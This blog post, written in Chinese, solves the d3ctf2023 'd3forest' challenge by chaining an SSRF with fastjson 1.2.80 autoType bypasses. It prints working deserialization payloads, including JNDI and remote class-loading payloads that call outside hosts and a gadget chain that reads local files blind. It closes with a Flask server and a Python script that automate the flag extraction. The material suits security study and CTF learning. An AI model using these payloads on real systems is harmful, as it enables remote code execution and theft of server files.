Home d3ctf2023-d3forest
Post
Cancel

d3ctf2023-d3forest

题目概述

  • jdk 8u312
  • 可疑依赖:com.alibaba:fastjson-1.2.80com.dtflys.forest-1.5.28commons-io-2.7
pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>d3forest</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
            <version>2.6.6</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <version>2.6.6</version>
        </dependency>

        <dependency>
            <groupId>com.dtflys.forest</groupId>
            <artifactId>forest-spring-boot-starter</artifactId>
            <version>1.5.28</version>
        </dependency>


        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-api</artifactId>
            <version>1.7.36</version>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
            <version>2.6.6</version>
            <exclusions>
                <exclusion>
                    <groupId>org.junit.vintage</groupId>
                    <artifactId>junit-vintage-engine</artifactId>
                </exclusion>
            </exclusions>
        </dependency>

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.80</version>
        </dependency>

        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <version>1.18.22</version>
        </dependency>
    </dependencies>
</project>

了解forest的用法

官方文档

GET 请求

1
2
3
4
5
6
7
// 使用@Get注解或@GetRequest注解

@Get("http://localhost:8080/hello")
String simpleGet1();

@GetRequest("http://localhost:8080/hello")
String simpleGet2();

POST 请求

1
2
3
4
5
6
7
使用@Post注解或@PostRequest注解

@Post("http://localhost:8080/hello")
String simplePost1();

@PostRequest("http://localhost:8080/hello")
String simplePost2();

字符串模版传参

1
2
3
4
5
6
7
8
9
10
11
@Get("http://localhost:8080/abc?a={0}&b={1}&id=0")
String send1(String a, String b);

/**
 * 直接在url字符串的问号后面部分直接写上 参数名=参数值 的形式
 * 等号后面的参数值部分可以用 {变量名} 这种字符串模板的形式替代
 * 在发送请求时会动态拼接成一个完整的URL
 * 使用这种方式需要通过 @Var 注解或全局配置声明变量
 */
@Get("http://localhost:8080/abc?a={a}&b={b}&id=0")
String send2(@Var("a") String a, @Var("b") String b);

寻找漏洞

回到题目,可以发现一个ssrf点

http://localhost:10002/getOther?route=http://121.5.230.115:7777

简单测试一下,发现网站需要指定端口,数据格式也有限制,比如访问https://www.baidu.com:443/就挂了,再次查阅文档,猜测这可能和数据格式不对有关。

同时,我们注意到forest会自动转换数据格式,这就是漏洞点。

Forest 会将根据返回结果自动识别响应的数据格式,并进行反序列化转换

JSON的默认转为器为ForestFastjsonConverter

fastjson历史漏洞回顾

blackhat-USA-21中,有两张图非常生动

显式继承和隐式继承

绕过checkAutoType

1.2.47的绕过

核心是使用mappings缓存的绕过

  • 当mappings缓存中存在指定类时,可以直接返回并且不受SupportAutoType的校验。
  • 当class是一个java.lang.Class类时,会去加载指定类
1
2
3
if(clazz == Class.class){
    return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
1
2
3
4
5
6
7
8
9
10
11
[
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://host:port/xxx",
    "autoCommit":"true"
  }
]

1.2.68的绕过

  • 主要靠的就是AutoCloseable类,fastjson没有为它指定特定的deserializer,会创一个出来,他默认存在于mappings中
  • 会根据第二个@type的值去获取对应的class
  • AutoCloseable的范围大得多,常用的流操作、文件、socket之类的都继承了AutoCloseable接口。
1
2
3
4
5
6
7
8
9
[
    "a":{
        "@type":"java.lang.AutoCloseable",
        "@type":"java.io.ByteArrayOutputStream"
    },
    "b":{
        "@type":"java.io.ByteArrayOutputStream"
    }
]

1.2.80的绕过

  • 将异常类(java.lang.Exception)的子类XXXException添加到白名单,实例化XXXException并加入类缓存

配合 ognl

1
2
3
4
5
6
[
    "a":{
        "@type":"java.lang.Exception",
        "@type":"ognl.OgnlException",
    }
]

配合 aspectj 读文件

1
2
3
4
{
    "@type":"java.lang.Exception",
    "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
    "@type":"java.lang.Class",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",{
                "@type":"java.lang.String"
                "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                "newAnnotationProcessorUnits":[{}]
            }
        }
    }
    }
}
1
2
3
4
5
6
7
{
    "x":{
        "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
        "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
        "fileName":"/etc/passwd"
    }
}

配合groovy RCE

1
2
3
4
5
{
    "@type":"java.lang.Exception",
    "@type":"org.codehaus.groovy.control.CompilationFailedException",
    "unit":{}
}
1
2
3
4
5
6
7
8
{
    "@type":"org.codehaus.groovy.control.ProcessingUnit",
    "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
    "config":{
        "@type":"org.codehaus.groovy.control.CompilerConfiguration",
        "classpathList":"http://classload.hack.com/"
    }
}

gadget的寻找

根据浅蓝的ppt,总结如下

  • 步骤一:合适的异常(Exception)子类,异常类都继承自Throwable
  • 步骤二:
    • 构造方法的参数
    • setter方法的参数
    • public修饰的成员变量
  • 步骤三:递归步骤二
  • 步骤四:和一些常见的gadget串联起来

寻找读文件链条

commons-io 已知的读文件gadget

因为有commons-io依赖,因此可以将其作为最终触发点 以下是blackhat-usa-21的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
  "abc": {
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": {
        "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///etc/passwd"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [
          11
        ]
      }
    ]
  },
  "address": {
    "$ref": "$.abc.BOM"
  }
}

从commons-io读文件gadget上延伸出来的无回显盲注

对于无回显的情况,浅蓝根据getBOM的返回值

  • ByteOrderMark[UTF-8: 0x41,0x41]
  • null

将其放入CharSequenceReader的参数中,使得参数类型不匹配就会报错,反之返回null时则不报错,核心代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class CharSequenceReader extends Reader implements Serializable {
    private static final long serialVersionUID = 3724187752191401220L;
    private final CharSequence charSequence;
    private int idx;
    private int mark;
    private final int start;
    private final Integer end;

    public CharSequenceReader(CharSequence charSequence) {
        this(charSequence, 0);
    }

    public CharSequenceReader(CharSequence charSequence, int start) {
        this(charSequence, start, 2147483647);
    }

    public CharSequenceReader(CharSequence charSequence, int start, int end) {
        if (start < 0) {
            throw new IllegalArgumentException("Start index is less than zero: " + start);
        } else if (end < start) {
            throw new IllegalArgumentException("End index is less than start " + start + ": " + end);
        } else {
            this.charSequence = (CharSequence)(charSequence != null ? charSequence : "");
            this.start = start;
            this.end = end;
            this.idx = start;
            this.mark = start;
        }
    }
		...
}

poc如下

charSequence后面是畸形payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
  "abc":{
    "@type": "java.lang.AutoCloseable",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",
        "url": "file:///etc/passwd"
      },
      "charsetName": "UTF-8",
      "bufferSize": 1024
    },
    "boms": [
      {
        "@type": "org.apache.commons.io.ByteOrderMark",
        "charsetName": "UTF-8",
        "bytes": [
          48,
        ]
      }
    ]
  },
  "address" : {
        "@type": "java.lang.AutoCloseable",
        "@type":"org.apache.commons.io.input.CharSequenceReader",
        "charSequence": {
            "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"
        }
  }
}

寻找forest中的gadget

最终要和BOMInputStream扯上关系,他的祖先类是InputStream,其继承关系如下:

1
BOMInputStream -> ProxyInputStream -> FilterInputStream -> InputStream

寻找forest中Exception的子类

下载源码,搜一下文件名包含Exception的即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ForestAbortException
ForestPoolException
ForestAsyncAbortException
ForestRetryException
ForestConvertException
ForestReturnException
ForestFileNotFoundException
ForestRuntimeException
ForestHandlerException
ForestInterceptorDefineException
ForestUnsupportException
ForestNetworkException
ForestVariableUndefinedException
ForestNoFileNameException

从这么些Exception中观察下来,成员变量中:

1
2
ForestRequest   com.dtflys.forest.http.ForestRequest
ForestResponse  com.dtflys.forest.http.ForestResponse

出现的相对频繁

使用反射搜一下他们的子类

1
2
3
4
5
6
ForestResponse
  ->  class com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse
  ->  class com.dtflys.forest.backend.okhttp3.response.OkHttp3ForestResponse

ForestRequest
    没有
反射的代码
1
2
3
4
5
<dependency>
    <groupId>org.reflections</groupId>
    <artifactId>reflections</artifactId>
    <version>0.10.2</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.Exception;
import java.util.*;
import com.dtflys.forest.http.ForestRequest;
import com.dtflys.forest.http.ForestResponse;
import org.reflections.Reflections;
import java.lang.String;

public class Test {
    public static void main(String[] args) throws Exception {
        Reflections reflections = new Reflections("com");
        Set<Class<? extends ForestResponse>> subTypes = reflections.getSubTypesOf(ForestResponse.class);
        for(Class x: subTypes){
            System.out.println(x);
        }
    }
}

其中,HttpclientForestResponse有两个成员变量,再搜一下他们的子类

  • org.apache.http.HttpResponse
    • class org.apache.http.impl.client.cache.OptionsHttp11Response
    • class org.apache.http.message.BasicHttpResponse
    • interface org.apache.http.client.methods.CloseableHttpResponse
    • class org.apache.http.impl.execchain.HttpResponseProxy
  • org.apache.http.HttpEntity (有好多 放了最核心的)
    • class org.apache.http.entity.FileEntity
    • class org.apache.http.entity.StringEntity
    • class org.apache.http.entity.SerializableEntity
    • class org.apache.http.entity.InputStreamEntity
    • class org.apache.http.entity.ByteArrayEntity

可见InputStreamEntity应该不错,

1
2
3
4
5
6
7
8
9
public class InputStreamEntity extends AbstractHttpEntity {
    private final InputStream content;
    private final long length;
    
    public InputStreamEntity(final InputStream inStream) {
        this(inStream, -1);
    }
    ...
}

这样就串起来了

1
2
3
4
5
6
7
8
9
10
11
12
13
java.lang.Exception
        ||
        \/
com.dtflys.forest.exceptions.ForestNetworkException(String message, Integer statusCode, ForestResponse response)
                                                                                              || 这个会被反序列化
                                                                                              \/
                com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse (HttpResponse、HttpEntity)
                                                                                                        ||
                                                                                                        \/
                                                                        org.apache.http.entity.InputStreamEntity(InputStream inStream)
                                                                                                                    ||
                                                                                                                    \/
                                                                                                            commons-io gadget

构造poc

首先是第一个poc,和groovy那条链很像

1
2
3
4
5
6
7
{
  "trigger1": {
    "@type": "java.lang.Exception",
    "@type": "com.dtflys.forest.exceptions.ForestNetworkException",
    "response":{}
  }
}

第二个测试用poc

1
2
3
4
5
6
{
  "trigger2": {
      "@type": "com.dtflys.forest.http.ForestResponse",
      "@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
  }
}  

第二个完整gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
{
  "trigger2": {
      "@type": "com.dtflys.forest.http.ForestResponse",
      "@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
      "entity":{
        "@type": "org.apache.http.HttpEntity",
        "@type": "org.apache.http.entity.InputStreamEntity",
        "inStream":{
            "@type": "org.apache.commons.io.input.BOMInputStream",
            "delegate": {
                "@type": "org.apache.commons.io.input.ReaderInputStream",
                "reader": { 
                    "@type": "jdk.nashorn.api.scripting.URLReader",
                    "url": "file:///etc/passwd"
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "boms": [{
                "charsetName": "UTF-8",
                "bytes": [
                    35,
                ]
            }]
        }
      }
  },
  "trigger3": {
      "$ref": "$.trigger2.entity.inStream"
  },
  "trigger4": {
    "$ref": "$.trigger3.BOM"
  },
  "trigger5": {
      "@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
      "entity": {
        "@type": "org.apache.http.entity.InputStreamEntity",
        "inStream": {
          "@type": "org.apache.commons.io.input.BOMInputStream",
          "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
              "@type": "org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {
                "@type": "java.lang.String"{"$ref": "$.trigger4"
              }
            },
            "charsetName":"UTF-8",
            "bufferSize":1024
          },
          "boms":[{
            "charsetName": "UTF-8",
            "bytes": [233]
          }]
        }
      }
    }
}    
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.alibaba.fastjson.JSON;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.lang.Exception;
import java.lang.String;
public class Test {
    public static void main(String[] args) throws Exception {
        byte[] b = Files.readAllBytes(Paths.get("/path/to/poc1.txt"));
        System.out.println(new String(b));
        String x =new String(b);
        try{
            JSON.parseObject(x);
        }
        catch(Exception e){
            System.out.println(e);
        }

        byte[] b2 = Files.readAllBytes(Paths.get("/path/to/poc2.txt"));
        JSON.parseObject(new String(b2));
    }
}

完整脚本

serve.py

flask --app serve.py:app run --debug --port=7711 --host 0.0.0.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from flask import Flask,Response
app = Flask(__name__)


poc1 = """{
  "trigger1": {
    "@type": "java.lang.Exception",
    "@type": "com.dtflys.forest.exceptions.ForestNetworkException",
    "response":{}
  }
}
"""
@app.route("/load")
def load_controller():
    return Response(response=poc1,status=200,mimetype='application/json')

poc2 = """{
  "trigger2": {
      "@type": "com.dtflys.forest.http.ForestResponse",
      "@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
      "entity":{
        "@type": "org.apache.http.HttpEntity",
        "@type": "org.apache.http.entity.InputStreamEntity",
        "inStream":{
            "@type": "org.apache.commons.io.input.BOMInputStream",
            "delegate": {
                "@type": "org.apache.commons.io.input.ReaderInputStream",
                "reader": { 
                    "@type": "jdk.nashorn.api.scripting.URLReader",
                    "url": "file:///fflag"
                },
                "charsetName": "UTF-8",
                "bufferSize": 1024
            },
            "boms": [{
                "charsetName": "UTF-8",
                "bytes": [
                    %s
                ]
            }]
        }
      }
  },
  "trigger3": {
      "$ref": "$.trigger2.entity.inStream"
  },
  "trigger4": {
    "$ref": "$.trigger3.BOM"
  },
  "trigger5": {
      "@type": "com.dtflys.forest.backend.httpclient.response.HttpclientForestResponse",
      "entity": {
        "@type": "org.apache.http.entity.InputStreamEntity",
        "inStream": {
          "@type": "org.apache.commons.io.input.BOMInputStream",
          "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
              "@type": "org.apache.commons.io.input.CharSequenceReader",
              "charSequence": {
                "@type": "java.lang.String"{"$ref": "$.trigger4"
              }
            },
            "charsetName":"UTF-8",
            "bufferSize":1024
          },
          "boms":[{
            "charsetName": "UTF-8",
            "bytes": [233]
          }]
        }
      }
    }
}    

"""
@app.route("/blind/<string:guess>")
def blind_controller(guess):
    new_poc2 = poc2 % (guess)
    return Response(response=new_poc2,status=200,mimetype='application/json')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
def send(exp):
    r = requests.get(
        url = 'http://god.cc:10002/getOther',
        params = {
            'route':'http://10.162.46.101:7711' + exp
        }
    )
    return(r.status_code,len(r.text))
    

if __name__ == "__main__":
    send("/load")
    flag = ""
    for i in range(0,1000):
        for j in range(0,127):
            status_code, l = send(f"/blind/{','.join([str(ord(x)) for x in list(flag)] + [str(j)])}")
            if status_code == 200:
                flag += chr(j)
                print(flag)
                break

总结

  • 这个题花了四天才找到forest中原生的gadget,期间一直在与fastjson参数不匹配斗争,后来醒悟,即使第一个poc报错,也是反序列化成功了ForestResponse
  • 使用题目的类则不会报错,我猜跟他有无参构造函数有一定的关系,forest自带的几个异常类基本没找到具有无参构造函数的。
  • 与官方的解法相比,摆脱了题目自带的类,更为通用,也算是一点点成功。

参考

浅谈fastjson下autotype的绕过

kcon-浅蓝-前35分钟

无参构造

fastjson-1.2.80简单分析

fastjson-全系列详细分析

浅蓝-读文件gadget利用扩展

blackhat-US-21-Xing-How-I-Used-a-JSON

This post is licensed under CC BY 4.0 by the author.